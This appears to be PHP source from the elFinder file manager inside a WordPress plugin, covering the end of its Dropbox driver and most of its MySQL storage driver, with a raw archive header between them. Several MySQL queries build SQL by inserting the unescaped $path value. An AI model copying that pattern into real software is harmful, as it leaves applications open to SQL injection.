     * @author Naoki Sawada
     **/
    protected function _subdirs($path)
    {
        $hasdir = false;

        try {
            $res = $this->service->listFolder($path);
            if ($res) {
                $items = $res->getItems();
                foreach ($items as $raw) {
                    if ($raw instanceof FolderMetadata) {
                        $hasdir = true;
                        break;
                    }
                }
            }
        } catch (DropboxClientException $e) {
            $this->setError('Dropbox error: ' . $e->getMessage());
        }

        return $hasdir;
    }

    /**
     * Return object width and height
     * Ususaly used for images, but can be realize for video etc...
     *
     * @param string $path file path
     * @param string $mime file mime type
     *
     * @return string
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function _dimensions($path, $mime)
    {
        if (strpos($mime, 'image') !== 0) {
            return '';
        }
        $ret = '';

        if ($data = $this->_getContents($path)) {
            $tmp = $this->getTempFile();
            file_put_contents($tmp, $data);
            $size = getimagesize($tmp);
            if ($size) {
                $ret = array('dim' => $size[0] . 'x' . $size[1]);
                $srcfp = fopen($tmp, 'rb');
                $target = isset(elFinder::$currentArgs['target'])? elFinder::$currentArgs['target'] : '';
                if ($subImgLink = $this->getSubstituteImgLink($target, $size, $srcfp)) {
                    $ret['url'] = $subImgLink;
                }
            }
        }

        return $ret;
    }

    /******************** file/dir content *********************/

    /**
     * Return files list in directory.
     *
     * @param string $path dir path
     *
     * @return array
     * @author Naoki Sawada
     **/
    protected function _scandir($path)
    {
        return isset($this->dirsCache[$path])
            ? $this->dirsCache[$path]
            : $this->cacheDir($path);
    }

    /**
     * Open file and return file pointer.
     *
     * @param string $path  file path
     * @param bool   $write open file for writing
     *
     * @return resource|false
     * @author Naoki Sawada
     **/
    protected function _fopen($path, $mode = 'rb')
    {
        if ($mode === 'rb' || $mode === 'r') {
            if ($link = $this->service->getTemporaryLink($path)) {
                $access_token = $this->service->getAccessToken();
                if ($access_token) {
                    $data = array(
                        'target' => $link->getLink(),
                        'headers' => array('Authorization: Bearer ' . $access_token),
                    );

                    // to support range request
                    if (func_num_args() > 2) {
                        $opts = func_get_arg(2);
                    } else {
                        $opts = array();
                    }
                    if (!empty($opts['httpheaders'])) {
                        $data['headers'] = array_merge($opts['httpheaders'], $data['headers']);
                    }

                    return elFinder::getStreamByUrl($data);
                }
            }
        }

        return false;
    }

    /**
     * Close opened file.
     *
     * @param resource $fp file pointer
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new directory name
     *
     * @return string|bool
     * @author Naoki Sawada
     **/
    protected function _mkdir($path, $name)
    {
        try {
            return $this->service->createFolder($this->_db_joinName($path, $name))->getPathLower();
        } catch (DropboxClientException $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }
    }

    /**
     * Create file and return it's path or false on failed.
     *
     * @param string $path parent dir path
     * @param string $name new file name
     *
     * @return string|bool
     * @author Naoki Sawada
     **/
    protected function _mkfile($path, $name)
    {
        return $this->_save($this->tmpfile(), $path, $name, []);
    }

    /**
     * Create symlink. FTP driver does not support symlinks.
     *
     * @param string $target link target
     * @param string $path   symlink path
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _symlink($target, $path, $name)
    {
        return false;
    }

    /**
     * Copy file into another file.
     *
     * @param string $source    source file path
     * @param string $targetDir target directory path
     * @param string $name      new file name
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _copy($source, $targetDir, $name)
    {
        try {
            $this->service->copy($source, $this->_db_joinName($targetDir, $name))->getPathLower();
        } catch (DropboxClientException $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param string $source source file path
     * @param string $target target dir path
     * @param string $name   file name
     *
     * @return string|bool
     * @author Naoki Sawada
     **/
    protected function _move($source, $targetDir, $name)
    {
        try {
            return $this->service->move($source, $this->_db_joinName($targetDir, $name))->getPathLower();
        } catch (DropboxClientException $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }
    }

    /**
     * Remove file.
     *
     * @param string $path file path
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _unlink($path)
    {
        try {
            $this->service->delete($path);

            return true;
        } catch (DropboxClientException $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }

        return true;
    }

    /**
     * Remove dir.
     *
     * @param string $path dir path
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _rmdir($path)
    {
        return $this->_unlink($path);
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param resource $fp   file pointer
     * @param string   $dir  target dir path
     * @param string   $name file name
     * @param array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Naoki Sawada
     **/
    protected function _save($fp, $path, $name, $stat)
    {
        try {
            $info = stream_get_meta_data($fp);
            if (empty($info['uri']) || preg_match('#^[a-z0-9.-]+://#', $info['uri'])) {
                if ($filepath = $this->getTempFile()) {
                    $_fp = fopen($filepath, 'wb');
                    stream_copy_to_stream($fp, $_fp);
                    fclose($_fp);
                }
            } else {
                $filepath = $info['uri'];
            }
            $dropboxFile = new DropboxFile($filepath);
            if ($name === '') {
                $fullpath = $path;
            } else {
                $fullpath = $this->_db_joinName($path, $name);
            }

            return $this->service->upload($dropboxFile, $fullpath, ['mode' => 'overwrite'])->getPathLower();
        } catch (DropboxClientException $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }
    }

    /**
     * Get file contents.
     *
     * @param string $path file path
     *
     * @return string|false
     * @author Naoki Sawada
     **/
    protected function _getContents($path)
    {
        $contents = '';

        try {
            $file = $this->service->download($path);
            $contents = $file->getContents();
        } catch (Exception $e) {
            return $this->setError('Dropbox error: ' . $e->getMessage());
        }

        return $contents;
    }

    /**
     * Write a string to a file.
     *
     * @param string $path    file path
     * @param string $content new file content
     *
     * @return bool
     * @author Naoki Sawada
     **/
    protected function _filePutContents($path, $content)
    {
        $res = false;

        if ($local = $this->getTempFile($path)) {
            if (file_put_contents($local, $content, LOCK_EX) !== false
                && ($fp = fopen($local, 'rb'))) {
                clearstatcache();
                $name = '';
                $stat = $this->stat($path);
                if ($stat) {
                    // keep real name
                    $path = $this->_dirname($path);
                    $name = $stat['name'];
                }
                $res = $this->_save($fp, $path, $name, []);
                fclose($fp);
            }
            file_exists($local) && unlink($local);
        }

        return $res;
    }

    /**
     * Detect available archivers.
     **/
    protected function _checkArchivers()
    {
        // die('Not yet implemented. (_checkArchivers)');
        return [];
    }

    /**
     * chmod implementation.
     *
     * @return bool
     **/
    protected function _chmod($path, $mode)
    {
        return false;
    }

    /**
     * Unpack archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return true
     * @author Dmitry (dio) Levashov
     * @author Alexey Sukhotin
     **/
    protected function _unpack($path, $arc)
    {
        die('Not yet implemented. (_unpack)');
        //return false;
    }

    /**
     * Recursive symlinks search.
     *
     * @param string $path file/dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _findSymlinks($path)
    {
        die('Not yet implemented. (_findSymlinks)');
    }

    /**
     * Extract files from archive.
     *
     * @param string $path archive path
     * @param array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return true
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _extract($path, $arc)
    {
        die('Not yet implemented. (_extract)');
    }

    /**
     * Create archive and return its path.
     *
     * @param string $dir   target dir
     * @param array  $files files names list
     * @param string $name  archive name
     * @param array  $arc   archiver options
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _archive($dir, $files, $name, $arc)
    {
        die('Not yet implemented. (_archive)');
    }
} // END class
PK���[mhuhuJwp-content/plugins/fileorganizer/manager/php/elFinderVolumeMySQL.class.phpnu�[���<?php

/**
 * Simple elFinder driver for MySQL.
 *
 * @author Dmitry (dio) Levashov
 **/
class elFinderVolumeMySQL extends elFinderVolumeDriver
{

    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id
     *
     * @var string
     **/
    protected $driverId = 'm';

    /**
     * Database object
     *
     * @var mysqli
     **/
    protected $db = null;

    /**
     * Tables to store files
     *
     * @var string
     **/
    protected $tbf = '';

    /**
     * Directory for tmp files
     * If not set driver will try to use tmbDir as tmpDir
     *
     * @var string
     **/
    protected $tmpPath = '';

    /**
     * Numbers of sql requests (for debug)
     *
     * @var int
     **/
    protected $sqlCnt = 0;

    /**
     * Last db error message
     *
     * @var string
     **/
    protected $dbError = '';

    /**
     * This root has parent id
     *
     * @var        boolean
     */
    protected $rootHasParent = false;

    /**
     * Constructor
     * Extend options with required fields
     *
     * @author Dmitry (dio) Levashov
     */
    public function __construct()
    {
        $opts = array(
            'host' => 'localhost',
            'user' => '',
            'pass' => '',
            'db' => '',
            'port' => null,
            'socket' => null,
            'files_table' => 'elfinder_file',
            'tmbPath' => '',
            'tmpPath' => '',
            'rootCssClass' => 'elfinder-navbar-root-sql',
            'noSessionCache' => array('hasdirs'),
            'isLocalhost' => false
        );
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare driver before mount volume.
     * Connect to db, check required tables and fetch root path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function init()
    {

        if (!($this->options['host'] || $this->options['socket'])
            || !$this->options['user']
            || !$this->options['pass']
            || !$this->options['db']
            || !$this->options['path']
            || !$this->options['files_table']) {
            return $this->setError('Required options "host", "socket", "user", "pass", "db", "path" or "files_table" are undefined.');
        }

        $err = null;
        if ($this->db = @new mysqli($this->options['host'], $this->options['user'], $this->options['pass'], $this->options['db'], $this->options['port'], $this->options['socket'])) {
            if ($this->db && $this->db->connect_error) {
                $err = $this->db->connect_error;
            }
        } else {
            $err = mysqli_connect_error();
        }
        if ($err) {
            return $this->setError(array('Unable to connect to MySQL server.', $err));
        }

        if (!$this->needOnline && empty($this->ARGS['init'])) {
            $this->db->close();
            $this->db = null;
            return true;
        }

        $this->db->set_charset('utf8');

        if ($res = $this->db->query('SHOW TABLES')) {
            while ($row = $res->fetch_array()) {
                if ($row[0] == $this->options['files_table']) {
                    $this->tbf = $this->options['files_table'];
                    break;
                }
            }
        }

        if (!$this->tbf) {
            return $this->setError('The specified database table cannot be found.');
        }

        $this->updateCache($this->options['path'], $this->_stat($this->options['path']));

        // enable command archive
        $this->options['useRemoteArchive'] = true;

        // check isLocalhost
        $this->isLocalhost = $this->options['isLocalhost'] || $this->options['host'] === 'localhost' || $this->options['host'] === '127.0.0.1' || $this->options['host'] === '::1';

        return true;
    }


    /**
     * Set tmp path
     *
     * @return void
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function configure()
    {
        parent::configure();

        if (($tmp = $this->options['tmpPath'])) {
            if (!file_exists($tmp)) {
                if (mkdir($tmp)) {
                    chmod($tmp, $this->options['tmbPathMode']);
                }
            }

            $this->tmpPath = is_dir($tmp) && is_writable($tmp) ? $tmp : false;
        }
        if (!$this->tmpPath && ($tmp = elFinder::getStaticVar('commonTempPath'))) {
            $this->tmpPath = $tmp;
        }

        // fallback of $this->tmp
        if (!$this->tmpPath && $this->tmbPathWritable) {
            $this->tmpPath = $this->tmbPath;
        }

        $this->mimeDetect = 'internal';
    }

    /**
     * Close connection
     *
     * @return void
     * @author Dmitry (dio) Levashov
     **/
    public function umount()
    {
        $this->db && $this->db->close();
    }

    /**
     * Return debug info for client
     *
     * @return array
     * @author Dmitry (dio) Levashov
     **/
    public function debug()
    {
        $debug = parent::debug();
        $debug['sqlCount'] = $this->sqlCnt;
        if ($this->dbError) {
            $debug['dbError'] = $this->dbError;
        }
        return $debug;
    }

    /**
     * Perform sql query and return result.
     * Increase sqlCnt and save error if occured
     *
     * @param  string $sql query
     *
     * @return bool|mysqli_result
     * @author Dmitry (dio) Levashov
     */
    protected function query($sql)
    {
        $this->sqlCnt++;
        $res = $this->db->query($sql);
        if (!$res) {
            $this->dbError = $this->db->error;
        }
        return $res;
    }

    /**
     * Create empty object with required mimetype
     *
     * @param  string $path parent dir path
     * @param  string $name object name
     * @param  string $mime mime type
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function make($path, $name, $mime)
    {
        $sql = 'INSERT INTO %s (`parent_id`, `name`, `size`, `mtime`, `mime`, `content`, `read`, `write`, `locked`, `hidden`, `width`, `height`) VALUES (\'%s\', \'%s\', 0, %d, \'%s\', \'\', \'%d\', \'%d\', \'%d\', \'%d\', 0, 0)';
        $sql = sprintf($sql, $this->tbf, $path, $this->db->real_escape_string($name), time(), $mime, $this->defaults['read'], $this->defaults['write'], $this->defaults['locked'], $this->defaults['hidden']);
        // echo $sql;
        return $this->query($sql) && $this->db->affected_rows > 0;
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Cache dir contents
     *
     * @param  string $path dir path
     *
     * @return string
     * @author Dmitry Levashov
     **/
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = array();

        $sql = 'SELECT f.id, f.parent_id, f.name, f.size, f.mtime AS ts, f.mime, f.read, f.write, f.locked, f.hidden, f.width, f.height, IF(ch.id, 1, 0) AS dirs 
                FROM ' . $this->tbf . ' AS f 
                LEFT JOIN ' . $this->tbf . ' AS ch ON ch.parent_id=f.id AND ch.mime=\'directory\'
                WHERE f.parent_id=\'' . $path . '\'
                GROUP BY f.id, ch.id';

        $res = $this->query($sql);
        if ($res) {
            while ($row = $res->fetch_assoc()) {
                $id = $row['id'];
                if ($row['parent_id'] && $id != $this->root) {
                    $row['phash'] = $this->encode($row['parent_id']);
                }

                if ($row['mime'] == 'directory') {
                    unset($row['width']);
                    unset($row['height']);
                    $row['size'] = 0;
                } else {
                    unset($row['dirs']);
                }

                unset($row['id']);
                unset($row['parent_id']);


                if (($stat = $this->updateCache($id, $row)) && empty($stat['hidden'])) {
                    $this->dirsCache[$path][] = $id;
                }
            }
        }

        return $this->dirsCache[$path];
    }

    /**
     * Return array of parents paths (ids)
     *
     * @param  int $path file path (id)
     *
     * @return array
     * @author Dmitry (dio) Levashov
     **/
    protected function getParents($path)
    {
        $parents = array();

        while ($path) {
            if ($file = $this->stat($path)) {
                array_unshift($parents, $path);
                $path = isset($file['phash']) ? $this->decode($file['phash']) : false;
            }
        }

        if (count($parents)) {
            array_pop($parents);
        }
        return $parents;
    }

    /**
     * Return correct file path for LOAD_FILE method
     *
     * @param  string $path file path (id)
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function loadFilePath($path)
    {
        $realPath = realpath($path);
        if (DIRECTORY_SEPARATOR == '\\') { // windows
            $realPath = str_replace('\\', '\\\\', $realPath);
        }
        return $this->db->real_escape_string($realPath);
    }

    /**
     * Recursive files search
     *
     * @param  string $path dir path
     * @param  string $q    search string
     * @param  array  $mimes
     *
     * @return array
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function doSearch($path, $q, $mimes)
    {
        if (!empty($this->doSearchCurrentQuery['matchMethod'])) {
            // has custom match method use elFinderVolumeDriver::doSearch()
            return parent::doSearch($path, $q, $mimes);
        }

        $dirs = array();
        $timeout = $this->options['searchTimeout'] ? $this->searchStart + $this->options['searchTimeout'] : 0;

        if ($path != $this->root || $this->rootHasParent) {
            $dirs = $inpath = array(intval($path));
            while ($inpath) {
                $in = '(' . join(',', $inpath) . ')';
                $inpath = array();
                $sql = 'SELECT f.id FROM %s AS f WHERE f.parent_id IN ' . $in . ' AND `mime` = \'directory\'';
                $sql = sprintf($sql, $this->tbf);
                if ($res = $this->query($sql)) {
                    $_dir = array();
                    while ($dat = $res->fetch_assoc()) {
                        $inpath[] = $dat['id'];
                    }
                    $dirs = array_merge($dirs, $inpath);
                }
            }
        }

        $result = array();

        if ($mimes) {
            $whrs = array();
            foreach ($mimes as $mime) {
                if (strpos($mime, '/') === false) {
                    $whrs[] = sprintf('f.mime LIKE \'%s/%%\'', $this->db->real_escape_string($mime));
                } else {
                    $whrs[] = sprintf('f.mime = \'%s\'', $this->db->real_escape_string($mime));
                }
            }
            $whr = join(' OR ', $whrs);
        } else {
            $whr = sprintf('f.name LIKE \'%%%s%%\'', $this->db->real_escape_string($q));
        }
        if ($dirs) {
            $whr = '(' . $whr . ') AND (`parent_id` IN (' . join(',', $dirs) . '))';
        }

        $sql = 'SELECT f.id, f.parent_id, f.name, f.size, f.mtime AS ts, f.mime, f.read, f.write, f.locked, f.hidden, f.width, f.height, 0 AS dirs 
                FROM %s AS f 
                WHERE %s';

        $sql = sprintf($sql, $this->tbf, $whr);

        if (($res = $this->query($sql))) {
            while ($row = $res->fetch_assoc()) {
                if ($timeout && $timeout < time()) {
                    $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode($path)));
                    break;
                }

                if (!$this->mimeAccepted($row['mime'], $mimes)) {
                    continue;
                }
                $id = $row['id'];
                if ($id == $this->root) {
                    continue;
                }
                if ($row['parent_id'] && $id != $this->root) {
                    $row['phash'] = $this->encode($row['parent_id']);
                }
                $row['path'] = $this->_path($id);

                if ($row['mime'] == 'directory') {
                    unset($row['width']);
                    unset($row['height']);
                } else {
                    unset($row['dirs']);
                }

                unset($row['id']);
                unset($row['parent_id']);

                if (($stat = $this->updateCache($id, $row)) && empty($stat['hidden'])) {
                    $result[] = $stat;
                }
            }
        }
        return $result;
    }


    /*********************** paths/urls *************************/

    /**
     * Return parent directory path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dirname($path)
    {
        return ($stat = $this->stat($path)) ? (!empty($stat['phash']) ? $this->decode($stat['phash']) : $this->root) : false;
    }

    /**
     * Return file name
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _basename($path)
    {
        return (($stat = $this->stat($path)) && isset($stat['name'])) ? $stat['name'] : false;
    }

    /**
     * Join dir name and file name and return full path
     *
     * @param  string $dir
     * @param  string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        $sql = 'SELECT id FROM ' . $this->tbf . ' WHERE parent_id=\'' . $dir . '\' AND name=\'' . $this->db->real_escape_string($name) . '\'';

        if (($res = $this->query($sql)) && ($r = $res->fetch_assoc())) {
            $this->updateCache($r['id'], $this->_stat($r['id']));
            return $r['id'];
        }
        return -1;
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python
     *
     * @param  string $path path
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function _normpath($path)
    {
        return $path;
    }

    /**
     * Return file path related to root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        return $path;
    }

    /**
     * Convert path related to root dir into real path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _abspath($path)
    {
        return $path;
    }

    /**
     * Return fake path started from root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _path($path)
    {
        if (($file = $this->stat($path)) == false) {
            return '';
        }

        $parentsIds = $this->getParents($path);
        $path = '';
        foreach ($parentsIds as $id) {
            $dir = $this->stat($id);
            $path .= $dir['name'] . $this->separator;
        }
        return $path . $file['name'];
    }

    /**
     * Return true if $path is children of $parent
     *
     * @param  string $path   path to check
     * @param  string $parent parent path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _inpath($path, $parent)
    {
        return $path == $parent
            ? true
            : in_array($parent, $this->getParents($path));
    }

    /***************** file stat ********************/
    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally
     * If file does not exists - returns empty array or false.
     *
     * @param  string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        $sql = 'SELECT f.id, f.parent_id, f.name, f.size, f.mtime AS ts, f.mime, f.read, f.write, f.locked, f.hidden, f.width, f.height, IF(ch.id, 1, 0) AS dirs
                FROM ' . $this->tbf . ' AS f 
                LEFT JOIN ' . $this->tbf . ' AS ch ON ch.parent_id=f.id AND ch.mime=\'directory\'
                WHERE f.id=\'' . $path . '\'
                GROUP BY f.id, ch.id';

        $res = $this->query($sql);

        if ($res) {
            $stat = $res->fetch_assoc();
            if ($stat['id'] == $this->root) {
                $this->rootHasParent = true;
                $stat['parent_id'] = '';
            }
            if ($stat['parent_id']) {
                $stat['phash'] = $this->encode($stat['parent_id']);
            }
            if ($stat['mime'] == 'directory') {
                unset($stat['width']);
                unset($stat['height']);
                $stat['size'] = 0;
            } else {
                if (!$stat['mime']) {
                    unset($stat['mime']);
                }
                unset($stat['dirs']);
            }
            unset($stat['id']);
            unset($stat['parent_id']);
            return $stat;

        }
        return array();
    }

    /**
     * Return true if path is dir and has at least one childs directory
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _subdirs($path)
    {
        return ($stat = $this->stat($path)) && isset($stat['dirs']) ? $stat['dirs'] : false;
    }

    /**
     * Return object width and height
     * Usualy used for images, but can be realize for video etc...
     *
     * @param  string $path file path
     * @param  string $mime file mime type
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _dimensions($path, $mime)
    {
        return ($stat = $this->stat($path)) && isset($stat['width']) && isset($stat['height']) ? $stat['width'] . 'x' . $stat['height'] : '';
    }

    /******************** file/dir content *********************/

    /**
     * Return files list in directory.
     *
     * @param  string $path dir path
     *
     * @return array
     * @author Dmitry (dio) Levashov
     **/
    protected function _scandir($path)
    {
        return isset($this->dirsCache[$path])
            ? $this->dirsCache[$path]
            : $this->cacheDir($path);
    }

    /**
     * Open file and return file pointer
     *
     * @param  string $path file path
     * @param  string $mode open file mode (ignored in this driver)
     *
     * @return resource|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _fopen($path, $mode = 'rb')
    {
        $fp = $this->tmpPath
            ? fopen($this->getTempFile($path), 'w+')
            : $this->tmpfile();


        if ($fp) {
            if (($res = $this->query('SELECT content FROM ' . $this->tbf . ' WHERE id=\'' . $path . '\''))
                && ($r = $res->fetch_assoc())) {
                fwrite($fp, $r['content']);
                rewind($fp);
                return $fp;
            } else {
                $this->_fclose($fp, $path);
            }
        }

        return false;
    }

    /**
     * Close opened file
     *
     * @param  resource $fp file pointer
     * @param string    $path
     *
     * @return void
     * @author Dmitry (dio) Levashov
     */
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
        if ($path) {
            $file = $this->getTempFile($path);
            is_file($file) && unlink($file);
        }
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        return $this->make($path, $name, 'directory') ? $this->_joinPath($path, $name) : false;
    }

    /**
     * Create file and return it's path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkfile($path, $name)
    {
        return $this->make($path, $name, '') ? $this->_joinPath($path, $name) : false;
    }

    /**
     * Create symlink. FTP driver does not support symlinks.
     *
     * @param  string $target link target
     * @param  string $path   symlink path
     * @param string  $name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     */
    protected function _symlink($target, $path, $name)
    {
        return false;
    }

    /**
     * Copy file into another file
     *
     * @param  string $source    source file path
     * @param  string $targetDir target directory path
     * @param  string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $this->clearcache();
        $id = $this->_joinPath($targetDir, $name);

        $sql = $id > 0
            ? sprintf('REPLACE INTO %s (id, parent_id, name, content, size, mtime, mime, width, height, `read`, `write`, `locked`, `hidden`) (SELECT %d, %d, name, content, size, mtime, mime, width, height, `read`, `write`, `locked`, `hidden` FROM %s WHERE id=%d)', $this->tbf, $id, $this->_dirname($id), $this->tbf, $source)
            : sprintf('INSERT INTO %s (parent_id, name, content, size, mtime, mime, width, height, `read`, `write`, `locked`, `hidden`) SELECT %d, \'%s\', content, size, %d, mime, width, height, `read`, `write`, `locked`, `hidden` FROM %s WHERE id=%d', $this->tbf, $targetDir, $this->db->real_escape_string($name), time(), $this->tbf, $source);

        return $this->query($sql);
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param  string $source source file path
     * @param         $targetDir
     * @param  string $name   file name
     *
     * @return bool|string
     * @internal param string $target target dir path
     * @author   Dmitry (dio) Levashov
     */
    protected function _move($source, $targetDir, $name)
    {
        $sql = 'UPDATE %s SET parent_id=%d, name=\'%s\' WHERE id=%d LIMIT 1';
        $sql = sprintf($sql, $this->tbf, $targetDir, $this->db->real_escape_string($name), $source);
        return $this->query($sql) && $this->db->affected_rows > 0 ? $source : false;
    }

    /**
     * Remove file
     *
     * @param  string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        return $this->query(sprintf('DELETE FROM %s WHERE id=%d AND mime!=\'directory\' LIMIT 1', $this->tbf, $path)) && $this->db->affected_rows;
    }

    /**
     * Remove dir
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        return $this->query(sprintf('DELETE FROM %s WHERE id=%d AND mime=\'directory\' LIMIT 1', $this->tbf, $path)) && $this->db->affected_rows;
    }

    /**
     * undocumented function
     *
     * @param $path
     * @param $fp
     *
     * @author Dmitry Levashov
     */
    protected function _setContent($path, $fp)
    {
        elFinder::rewind($fp);
        $fstat = fstat($fp);
        $size = $fstat['size'];


    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param  resource $fp   file pointer
     * @param  string   $dir  target dir path
     * @param  string   $name file name
     * @param  array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     **/
    protected function _save($fp, $dir, $name, $stat)
    {
        $this->clearcache();

        $mime = !empty($stat['mime']) ? $stat['mime'] : $this->mimetype($name, true);
        $w = !empty($stat['width']) ? $stat['width'] : 0;
        $h = !empty($stat['height']) ? $stat['height'] : 0;
        $ts = !empty($stat['ts']) ? $stat['ts'] : time();

        $id = $this->_joinPath($dir, $name);
        if (!isset($stat['size'])) {
            $stat = fstat($fp);
            $size = $stat['size'];
        } else {
            $size = $stat['size'];
        }

        if ($this->isLocalhost && ($tmpfile = tempnam($this->tmpPath, $this->id))) {
            if (($trgfp = fopen($tmpfile, 'wb')) == false) {
                unlink($tmpfile);
            } else {
                elFinder::rewind($fp);
                stream_copy_to_stream($fp, $trgfp);
                fclose($trgfp);
                chmod($tmpfile, 0644);

                $sql = $id > 0
                    ? 'REPLACE INTO %s (id, parent_id, name, content, size, mtime, mime, width, height) VALUES (' . $id . ', %d, \'%s\', LOAD_FILE(\'%s\'), %d, %d, \'%s\', %d, %d)'
                    : 'INSERT INTO %s (parent_id, name, content, size, mtime, mime, width, height) VALUES (%d, \'%s\', LOAD_FILE(\'%s\'), %d, %d, \'%s\', %d, %d)';
                $sql = sprintf($sql, $this->tbf, $dir, $this->db->real_escape_string($name), $this->loadFilePath($tmpfile), $size, $ts, $mime, $w, $h);

                $res = $this->query($sql);
                unlink($tmpfile);

                if ($res) {
                    return $id > 0 ? $id : $this->db->insert_id;
                }
            }
        }


        $content = '';
        elFinder::rewind($fp);
        while (!feof($fp)) {
            $content .= fread($fp, 8192);
        }

        $sql = $id > 0
            ? 'REPLACE INTO %s (id, parent_id, name, content, size, mtime, mime, width, height) VALUES (' . $id . ', %d, \'%s\', \'%s\', %d, %d, \'%s\', %d, %d)'
            : 'INSERT INTO %s (parent_id, name, content, size, mtime, mime, width, height) VALUES (%d, \'%s\', \'%s\', %d, %d, \'%s\', %d, %d)';
        $sql = sprintf($sql, $this->tbf, $dir, $this->db->real_escape_string($name), $this->db->real_escape_string($content), $size, $ts, $mime, $w, $h);

        unset($content);

        if ($this->query($sql)) {
            return $id > 0 ? $id : $this->db->insert_id;
        }

        return false;
    }

    /**
     * Get file contents
     *
     * @param  string $path file path
     *
     * @return string|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _getContents($path)
    {
        return ($res = $this->query(sprintf('SELECT content FROM %s WHERE id=%d', $this->tbf, $path))) && ($r = $res->fetch_assoc()) ? $r['content'] : false;
    }

    /**
     * Write a string to a file
     *
     * @param  string $path    file path
     * @param  string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        return $this->query(sprintf('UPDATE %s SET content=\'%s\', size=%d, mtime=%d WHERE id=%d LIMIT 1', $this->tbf, $this->db->real_escape_string($content), strlen($content), time(), $path));
    }

    /**
     * Detect available archivers
     *
     * @return void
     **/
    protected function _checkArchivers()
    {
        return;
    }

    /**
     * chmod implementation
     *
     * @param string $path
     * @param string $mode
     *
     * @return bool
     */
    protected function _chmod($path, $mode)
    {
        return false;
    }

    /**
     * Unpack archive
     *
     * @param  string $path archive path
